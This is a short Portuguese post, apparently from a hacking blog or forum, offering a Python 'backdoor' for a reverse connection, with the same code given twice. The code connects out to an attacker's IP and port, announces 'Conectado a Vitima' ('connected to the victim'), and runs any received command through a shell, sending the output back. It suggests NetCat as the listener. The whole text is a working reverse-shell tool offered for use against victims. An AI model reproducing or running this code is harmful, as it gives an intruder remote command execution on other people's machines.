BlackDoor em Python
Simples "BackDoor" em python para conexão revessa, você pode usar o NetCat ou criar um servido em python para estar ouvindo o"BkacDoor".
#!/usr/bin/python
import socket,subprocess, os
# ou
import socket
import subprocess
import os
# Seu Ip ou Ip externo.
HOST = '192.168.1.40'
# Sua porta
PORT = 90
# TCP Socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Conectando ou Ip e a Porta
s.connect((HOST, PORT))
# Mensagem indicando que estamos conectado
s.send('''
#########################
[*] Conectado a Vitima !
#########################
\nRoot@Shell>>''')
while 1:
data = s.recv(1024)
# Se dermos o comando "quit" paramos o loop
if data == "quit": break
# Parte do comando "CD" para navegar melhor.
if data.startswith('cd'):
os.chdir(data[3:].replace('\n',''))
s.send(os.getcwd()+"Root@Shell>>")
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
# Fechamos o socket
s.close()
#!/usr/bin/python
import socket,subprocess, os
HOST = '192.168.1.40' # Seu Ip ou No-Ip
PORT = 90 # Sua porta
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send('''
#########################
[*] Conectado a Vitima !
#########################
\nRoot@Shell>>''')
while 1:
data = s.recv(1024)
if data == "quit": break
# Parte do comando "CD" para navegar melhor.
if data.startswith('cd'):
os.chdir(data[3:].replace('\n',''))
s.send(os.getcwd()+"Root@Shell>>")
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
s.close()
